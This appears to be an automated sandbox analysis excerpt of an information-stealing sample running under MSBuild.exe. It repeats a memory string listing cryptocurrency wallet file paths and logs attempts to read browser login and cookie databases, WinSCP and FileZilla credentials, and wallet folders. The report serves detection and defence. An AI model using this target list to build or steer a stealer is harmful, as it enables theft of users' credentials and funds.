Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
